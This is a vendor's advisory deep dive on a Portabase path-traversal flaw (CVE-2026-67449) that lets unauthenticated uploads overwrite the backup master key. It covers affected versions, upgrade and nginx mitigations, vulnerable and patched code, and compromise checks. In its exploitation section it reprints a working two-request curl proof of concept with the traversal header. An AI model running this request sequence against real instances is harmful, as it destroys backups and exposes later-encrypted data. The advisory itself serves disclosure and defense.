Neutron, our AI engine, scored 97.1% on UC Berkeley's CyberGym benchmark. Learn more

Deep Dive

Deep Dive

Portabase Master Key Overwrite, Fixed in 1.21.2 (CVE-2026-67449)

An unauthenticated path traversal in Portabase's TUS webhook overwrites the AES-256 master key that protects encrypted backups; fixed in 1.21.2.

TL;DR

  • Portabase's TUS webhook trusts the X-File-Path header and renames an uploaded file to any path under its private directory. The flaw is CVE-2026-67449, rated CVSS v3.1 9.8.
  • Self-hosted Community Edition up to 1.21.1 is affected when /tus/files/ or /api/tus/hooks is reachable. The fix is 1.21.2, released on 2026-07-04.
  • The advisory includes a two-request proof of concept that overwrites /data/private/keys/master_key.bin. No in-the-wild exploitation is known. The CVE is not in CISA KEV as of 2026-11-12.
  • Upgrade to 1.21.2 or later; the newest release is 1.36.1. If you cannot, block /api/tus/hooks and /tus/ at the reverse proxy.

Am I affected?

You are exposed if all of these conditions hold:

  • You run a self-hosted Portabase Community Edition at version 1.21.1 or earlier.
  • Untrusted clients can reach the instance, and either /tus/files/ or /api/tus/hooks is exposed through the reverse proxy.
  • The attacker can create a TUS upload and control the X-File-Path header. No account is needed.

The default Docker deployment puts nginx on port 80, proxies /tus/ to the tusd upload service, and lets tusd call /api/tus/hooks on the application. The hook is also reachable through the catch-all location / rule, so a proxy that blocks only /tus/ may still leave the hook open. The advisory says the TUS upload endpoint required no authentication.

Product Affected versions Fixed version
Portabase Community Edition 1.21.1 and earlier 1.21.2
Portabase Community Edition 1.21.2 and later Not affected

The Docker Hub image has 398,662 pulls, and the GitHub repository has 1,899 stars. The affected range is the self-hosted Community Edition before 1.21.2.

Check the image tag of the running container. The application does not expose a version endpoint, so read the image the container was created from:

docker inspect portabase --format '{{.Config.Image}}'
docker compose images | grep -i portabase

If the tag is latest, compare the running container's digest with the digest of the release you intended to run. The first command reads the running digest; the next two pull the release and read its digest:

docker inspect portabase --format '{{index .RepoDigests 0}}'
docker pull portabase/portabase:1.36.1
docker image inspect portabase/portabase:1.36.1 --format '{{index .RepoDigests 0}}'

The current release is 1.36.1, published on 2026-11-10. Any tag from 1.21.2 onward contains the fix.

How do I fix it?

Upgrade to Portabase 1.21.2 or later and recreate the container. Pulling a new image is not enough if the running container still uses the old one.

  1. Pull the fixed image and recreate the service: bash docker compose pull docker compose up -d
  2. Confirm the running container uses the new image: bash docker inspect portabase --format '{{.Config.Image}}'
  3. If you pin a version, use 1.21.2 or a later tag. The newest release is 1.36.1.
  4. If you build from source, use commit 8dcb4067 or the 1.21.2 tag. The fix is in pull request #355.

If you cannot upgrade immediately, block the upload path at the reverse proxy. The advisory recommends denying external access to /api/tus/hooks and /tus/ for untrusted networks. This closes the path for remote attackers, but it also stops legitimate agent uploads, so schedule the upgrade.

  1. In nginx, deny the hook before the catch-all location: nginx location = /api/tus/hooks { deny all; return 404; }
  2. Restrict /tus/ to the networks that run your backup agents, or remove it from the public listener.
  3. Reload the proxy and confirm the hook returns 404 from an untrusted network.

Blocking the hook is a workaround, not a fix. A request that reaches the application another way can still exploit the traversal.

What is the root cause?

The TUS webhook takes a file path from an HTTP header and joins it to the upload directory without checking for ... path.join() normalizes the traversal, so the resulting path can leave the upload directory and land on the master key.

The vulnerable code is in app/api/tus/hooks/route.ts at the 1.21.1 tag. These are the relevant lines:

const filePath = headers["X-File-Path"]?.[0];

if (!filePath) {
    return NextResponse.json({error: "Missing X-File-Path"}, {status: 500});
}

const uploadDir = path.join(env.PRIVATE_PATH!, "/uploads/");

const oldFilePath = path.join(uploadDir, "tmp", id);
const newFilePath = path.join(uploadDir, filePath);

fs.mkdirSync(path.dirname(newFilePath), {recursive: true});
...
fs.renameSync(oldFilePath, newFilePath);

PRIVATE_PATH defaults to /data/private in the container. The upload directory is therefore /data/private/uploads/, and the temporary file for an upload is /data/private/uploads/tmp/<id>. The header value ../keys/master_key.bin makes newFilePath resolve to /data/private/uploads/../keys/master_key.bin, which is /data/private/keys/master_key.bin. fs.mkdirSync() creates the parent directory if needed, and fs.renameSync() replaces the target atomically.

The master key is a 32-byte random value stored in keys/master_key.bin with mode 0600. Portabase uses it for AES-256-GCM encryption of backup data. The same file is created by getOrCreateMasterKey() in src/utils/rsa-keys.ts, and the hook's destination is the same path.

The header is attacker-controlled because tusd forwards the request headers to the webhook. The upload endpoint needs no authentication, so an unauthenticated client can start an upload and set X-File-Path to the traversal. The webhook trusts the header because it expects tusd to send the path the agent chose.

How is it exploited?

  1. The attacker creates a TUS upload with the traversal in X-File-Path. The upload service returns a location for the new upload.
  2. The attacker uploads 32 bytes to that location. When the upload completes, tusd calls the webhook with the original headers.
  3. The webhook joins ../keys/master_key.bin to the upload directory, creates the keys directory if needed, and renames the temporary upload over the master key.
  4. The attacker now controls the key material. Existing backups encrypted with the old key cannot be decrypted. Data encrypted after the overwrite is readable by anyone who knows the new key.

The advisory publishes a two-request proof of concept. This is the request sequence, copied from the advisory:

# Step 1: create the upload
curl -X POST http://<host>/tus/files/ \
  -H "Tus-Resumable: 1.0.0" \
  -H "Upload-Length: 32" \
  -H "X-File-Path: ../keys/master_key.bin" \
  -H "X-Status: success"

# Step 2: upload the attacker-controlled key material
curl -X PATCH http://<host>/tus/files/<id> \
  -H "Tus-Resumable: 1.0.0" \
  -H "Content-Type: application/offset+octet-stream" \
  -H "Upload-Offset: 0" \
  -H "X-File-Path: ../keys/master_key.bin" \
  -H "X-Status: success" \
  -d "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"

The advisory's example uses 32 A bytes. A real attacker would choose a key they know. The advisory does not publish a victim report or in-the-wild exploitation.

How does the attack flow?

An unauthenticated upload request carries a path traversal in a header, and the webhook renames the uploaded file over the AES master key without checking where the path points.

flowchart LR
    A["POST /tus/files/<br/>X-File-Path: ../keys/master_key.bin"] --> B["tusd stores the upload<br/>in private/uploads/tmp"]
    B --> C["tusd calls<br/>/api/tus/hooks"]
    C --> D["path.join(uploadDir, filePath)<br/>no traversal check"]
    D --> E["fs.renameSync()<br/>overwrites master_key.bin"]
    E --> F["old backups unreadable<br/>new key known to attacker"]

What can an attacker do?

An unauthenticated attacker can overwrite any file the Portabase process can write under the private directory. The most damaging target is the AES-256-GCM master key. Overwriting it makes every backup encrypted with the old key permanently unreadable, which is a destructive denial of service against the recovery capability.

If the attacker supplies a key they know, they can also read data encrypted after the overwrite. That includes new backups and any other data Portabase encrypts with the same key. The advisory describes both outcomes: destructive loss of existing backups and disclosure of data encrypted under the attacker-known key.

The CVE record rates the flaw CVSS v3.1 9.8, CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.

The attacker needs network reachability and no account. The private directory layout is hardcoded in the source, so the attacker does not need to discover it. The only precondition is that the TUS upload or the webhook is reachable.

Why does the fix work?

The patch adds three layers. First, it restricts the header to a strict path pattern. Second, it verifies that the resolved path stays inside the upload directory. Third, it binds the webhook call to an existing backup record and blocks the hook at the nginx edge.

+const FILE_PATH_RE = /^backups\/\d{4}-\d{2}-\d{2}\/[A-Za-z0-9._-]+$/;
...
-                const fileName = headers["X-File-Name"]?.[0];
                 const filePath = headers["X-File-Path"]?.[0];

-                if (!filePath) {
-                    return NextResponse.json({error: "Missing X-File-Path"}, {status: 500});
+                if (!filePath || !FILE_PATH_RE.test(filePath)) {
+                    log.warn({filePath}, "Rejected invalid X-File-Path in TUS hook");
+                    return NextResponse.json({error: "Invalid file path"}, {status: 400});
                 }
+
+                const generatedId = headers["X-Generated-Id"]?.[0];
+                const backupStorageId = headers["X-Backup-Storage-Id"]?.[0];
...
+                const resolvedBase = path.resolve(uploadDir);
+                const newFilePath = path.resolve(resolvedBase, filePath);
+                const rel = path.relative(resolvedBase, newFilePath);
+                if (rel.startsWith("..") || path.isAbsolute(rel)) {
+                    log.warn({filePath}, "Rejected path traversal in TUS hook");
+                    return NextResponse.json({error: "Invalid file path"}, {status: 400});
+                }

The regular expression accepts only backups/YYYY-MM-DD/<filename> with a limited character set, so ../keys/master_key.bin is rejected before any filesystem call. The path.resolve() and path.relative() check then catches any path that escapes the upload directory even if the pattern is changed later.

The authorization block requires X-Generated-Id and X-Backup-Storage-Id to match a database and backup storage record, so a forged webhook call is refused. The nginx rule denies /api/tus/hooks from the public edge.

The patch covers the traversal in the hook. The advisory also says the internal tusd webhook is now reachable only over loopback, which removes the external path that the proof of concept used.

How do I check if I was compromised?

No indicators of compromise are published. The overwrite changes the master key file, so compare it with a known-good copy if you have one.

Check the file size and modification time:

docker exec <container> ls -l /data/private/keys/master_key.bin
docker exec <container> stat /data/private/keys/master_key.bin

The file should be 32 bytes and its modification time should match the installation or the last deliberate rotation. A recent modification time on a file you did not rotate is a lead.

Compare the key hash with a backup of the key:

docker exec <container> sha256sum /data/private/keys/master_key.bin

Look for unexpected files under the private directory, especially .meta files next to the key:

docker exec <container> find /data/private -maxdepth 3 -type f -newermt "2026-07-04"

A failed backup restore is the other signal. If backups created before the suspected overwrite no longer decrypt, the key may have been replaced. Preserve the container and the private directory before you restart or rebuild, because a restart can overwrite the evidence.

Timeline

  • 2026-07-04: Portabase publishes advisory GHSA-7697-vf3j-253j and releases 1.21.2 with the fix.
  • 2026-07-29: The CVE ID is reserved.
  • 2026-11-11: The CVE-2026-67449 record is published, four months after the fix.

From fix to CVE publication in 130 days.
The fix shipped on 2026-07-04, the CVE ID was reserved on 2026-07-29, and the record was published on 2026-11-11. Source: GitHub advisory and CVE record, checked November 12, 2026

FAQ

Does this affect every Portabase installation?

No. The advisory covers self-hosted Community Edition up to 1.21.1. Installations at 1.21.2 or later are fixed. An instance that is not reachable by untrusted clients is not exposed through this path.

Is the TUS endpoint supposed to be public?

The default deployment exposes /tus/ through nginx and does not authenticate the upload. The fix blocks the internal hook at the proxy and binds webhook calls to a backup record. If you expose Portabase to the internet, check both paths.

Can the attacker read my existing backups?

Overwriting the key makes existing backups unreadable; it does not decrypt them. If the attacker writes a key they know, they can read data encrypted after the overwrite. The advisory describes both the destructive and the disclosure outcomes.

Is there a public exploit?

The advisory includes a two-request proof of concept. No in-the-wild exploitation or victim report is published, and the CVE is not in CISA KEV as of 2026-11-12.

What if I already run a later release?

Check the image tag of the running container, not the tag in your compose file. A container created before the upgrade can keep running the old image until it is recreated. Any tag from 1.21.2 onward contains the fix.

Does blocking /tus/ break backups?

Yes, if your backup agents upload through that path. Blocking /api/tus/hooks alone closes the webhook from the public edge, but the application may still be reachable another way. Upgrade as soon as you can.

References

  • Portabase advisory GHSA-7697-vf3j-253j, published 2026-07-04: https://github.com/Portabase/portabase/security/advisories/GHSA-7697-vf3j-253j (checked November 12, 2026)
  • CVE-2026-67449 record, GitHub CNA, published 2026-11-11: https://www.cve.org/CVERecord?id=CVE-2026-67449 (checked November 12, 2026)
  • Fix commit 8dcb4067, pull request #355: https://github.com/Portabase/portabase/commit/8dcb406790728fbdbf758ec88bf000af79498fc1 (checked November 12, 2026)
  • Portabase 1.21.2 release: https://github.com/Portabase/portabase/releases/tag/1.21.2 (checked November 12, 2026)
  • Portabase repository and current release 1.36.1: https://github.com/Portabase/portabase (checked November 12, 2026)
  • Docker Hub, portabase/portabase pull count: https://hub.docker.com/r/portabase/portabase (checked November 12, 2026)